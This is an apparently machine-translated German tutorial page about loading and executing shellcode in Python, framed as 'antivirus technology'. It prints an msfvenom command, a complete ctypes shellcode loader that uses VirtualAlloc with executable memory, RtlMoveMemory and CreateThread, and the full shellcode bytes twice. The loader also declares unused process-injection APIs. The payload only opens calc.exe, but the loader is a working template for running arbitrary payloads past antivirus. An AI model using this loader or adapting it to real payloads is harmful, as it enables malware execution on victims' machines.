Heim > Backend-Entwicklung > Python-Tutorial > Was sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?

Was sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?

WBOY
Freigeben: 2023-05-10 08:34:17
nach vorne
1521 Leute haben es durchsucht

0x01 Shellcode generieren

Generieren Sie zunächst einen Shellcode mit dem folgenden Befehl. Verwenden Sie die Option msfvenom -p, um die Payload anzugeben. Wählen Sie hier die Parameter aus, die von den Windows/x64- und Exec-Modulen empfangen werden. Verwenden Sie calc.exe, um den Taschenrechner aufzurufen. Die Option -f wird verwendet, um die kompilierte Sprache des generierten Shellcdoe auszuführen.

msfvenom -p windows/x64/exec CMD='calc.exe' -f py
Nach dem Login kopieren

Was sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?

0x02 Das Programm, das Shellcode lädt und ausführt

Das Programm ist:

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

if __name__ == "__main__":
    run1()
Nach dem Login kopieren

0x03 Programmerklärung

Importieren Sie das Modul, und das Programm weist Speicher zu und kann Lese- und Schreibvorgänge ausführen.

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Nach dem Login kopieren

Regionaler ausführbarer Code, lesbar und beschreibbar

PAGE_EXECUTE_READWRITE = 0x00000040
Nach dem Login kopieren

Speicher zuweisen

MEM_COMMIT = 0x3000
Nach dem Login kopieren

Geben Sie dem Prozess alle Berechtigungen

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Nach dem Login kopieren

Rufen Sie die Windows-API auf

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread
Nach dem Login kopieren

Weisen Sie den zuvor generierten Shellcode dem Shellcode-Parameter zu und verwenden Sie die Bytearray-Funktion, um ihn zu verarbeiten vor der Zuweisung

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)
Nach dem Login kopieren

Erstellen Sie eine Methode und rufen Sie sie auf, beantragen Sie Speicher, verweisen Sie den Shellcode auf den zugewiesenen Speicherzeiger, kopieren Sie den Shellcode in den Speicher, erstellen Sie ein Thread-Ereignis und führen Sie Folgendes aus:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
Nach dem Login kopieren

VirtualAlloc wird verwendet, um Speicherplatz zu beantragen und ist eine Windows-API-Funktion. Die Deklaration lautet:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};
Nach dem Login kopieren

RtlMoveMemory kopiert Speicher vom angegebenen Speicher in einen anderen Speicher. Die Syntax lautet:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);
Nach dem Login kopieren

Parameter:

Destination: Zeiger auf die Zieladresse der Verschiebung.
Quelle: Zeiger auf die zu kopierende Speicheradresse.
Länge: Geben Sie die Anzahl der zu kopierenden Bytes an.

CreateThread ist eine von Microsoft in der Windows-API bereitgestellte Funktion zum Erstellen eines neuen Threads. Diese Funktion erstellt einen neuen Thread basierend auf dem Hauptthread.
Funktionsprototyp:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)
Nach dem Login kopieren

Parameterbedeutung

  • lpThreadAttributes: Zeiger auf eine Struktur vom Typ SECURITY_ATTRIBUTES. Dieser Parameter wird in Windows 98 ignoriert. In Windows NT verwendet NULL die Standardsicherheit und kann nicht von untergeordneten Threads geerbt werden. Andernfalls muss eine Struktur definiert werden, um ihr bInheritHandle-Mitglied auf TRUE zu initialisieren.

  • dwStackSize, legen Sie die anfängliche Stapelgröße in Bytes fest. Wenn sie 0 ist, wird standardmäßig dieselbe Stapelspeichergröße wie der Thread verwendet, der diese Funktion aufruft. In jedem Fall erweitert Windows die Stapelgröße dynamisch nach Bedarf.

  • lpStartAddress, Zeiger auf die Thread-Funktion, in der Form: @Funktionsname, es gibt keine Begrenzung für den Funktionsnamen

  • lpParameter: Der an die Thread-Funktion übergebene Parameter ist ein Zeiger auf die Struktur. Wenn nein Parameter müssen übergeben werden, es ist NULL .

  • dwCreationFlags: Thread-Flags, verfügbare Werte sind wie folgt

    • (1) CREATE_SUSPENDED (0x00000004): Erstellt einen angehaltenen Thread,

    • (2) 0: Zeigt die Aktivierung unmittelbar nach der Erstellung an.

    • (3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000): Der Parameter dwStackSize gibt die anfängliche reservierte Stapelgröße an, andernfalls gibt dwStackSize die übermittelte Größe an. Dieser Tagwert wird unter Windows 2000/NT und Windows Me/98/95 nicht unterstützt.

  • lpThreadId: Speichern Sie die ID des neuen Threads.

    • WaitForSingleObject ist eine Windows-API-Funktion. Wenn das Handle geschlossen wird, während die Wartezeit noch aussteht, ist das Funktionsverhalten undefiniert. Das Handle muss über SYNCHRONIZE-Zugriff verfügen.

Deklaration:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
Nach dem Login kopieren

hHandle[in] Objekthandle. Sie können eine Reihe von Objekten angeben, z. B. Ereignis, Job, Speicherressourcenbenachrichtigung, Mutex, Prozess, Semaphor, Thread, Wartetimer usw.

dwMilliseconds[in] Timing-Zeitintervall, Einheit ist Millisekunden (Millisekunden). Wenn Sie einen Wert ungleich Null angeben, befindet sich die Funktion in einem Wartezustand, bis das durch hHandle markierte Objekt ausgelöst wird oder die Zeit abläuft. Wenn dwMilliseconds 0 ist, wird das Objekt nicht signalisiert, die Funktion wechselt nicht in einen Wartezustand, sondern kehrt immer sofort zurück. Wenn dwMilliseconds INFINITE ist, kehrt die Funktion erst zurück, wenn das Objekt ausgelöst wird.

Führen Sie das Programm aus, um den Rechner erfolgreich aufzurufen.

Was sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?

Das obige ist der detaillierte Inhalt vonWas sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage